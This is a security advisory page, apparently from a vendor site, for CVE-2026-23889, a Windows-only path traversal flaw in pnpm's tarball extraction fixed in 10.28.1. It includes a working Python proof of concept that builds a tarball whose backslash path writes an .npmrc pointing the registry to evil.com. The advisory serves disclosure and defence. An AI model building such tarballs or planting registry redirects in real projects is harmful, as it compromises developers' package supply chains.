Summary
pnpm has Windows-specific tarball Path Traversal
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}
A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)
- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)
PoC
- Create a malicious tarball with entry
package/foo\..\..\.npmrc - Host it or use as a tarball URL dependency
- On Windows:
pnpm install - Observe
.npmrcwritten outside package directory
import tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())
Impact
- Windows pnpm users
- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
- Can overwrite
.npmrc, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d45.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-23889 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.28.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-23889? CVE-2026-23889 is a medium-severity path traversal vulnerability in pnpm (npm), affecting versions < 10.28.1. It is fixed in 10.28.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-23889? CVE-2026-23889 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pnpm are affected by CVE-2026-23889? pnpm (npm) versions < 10.28.1 is affected.
- Is there a fix for CVE-2026-23889? Yes. CVE-2026-23889 is fixed in 10.28.1. Upgrade to this version or later.
- Is CVE-2026-23889 exploitable, and should I be worried? Whether CVE-2026-23889 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-23889 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-23889? Upgrade
pnpmto 10.28.1 or later.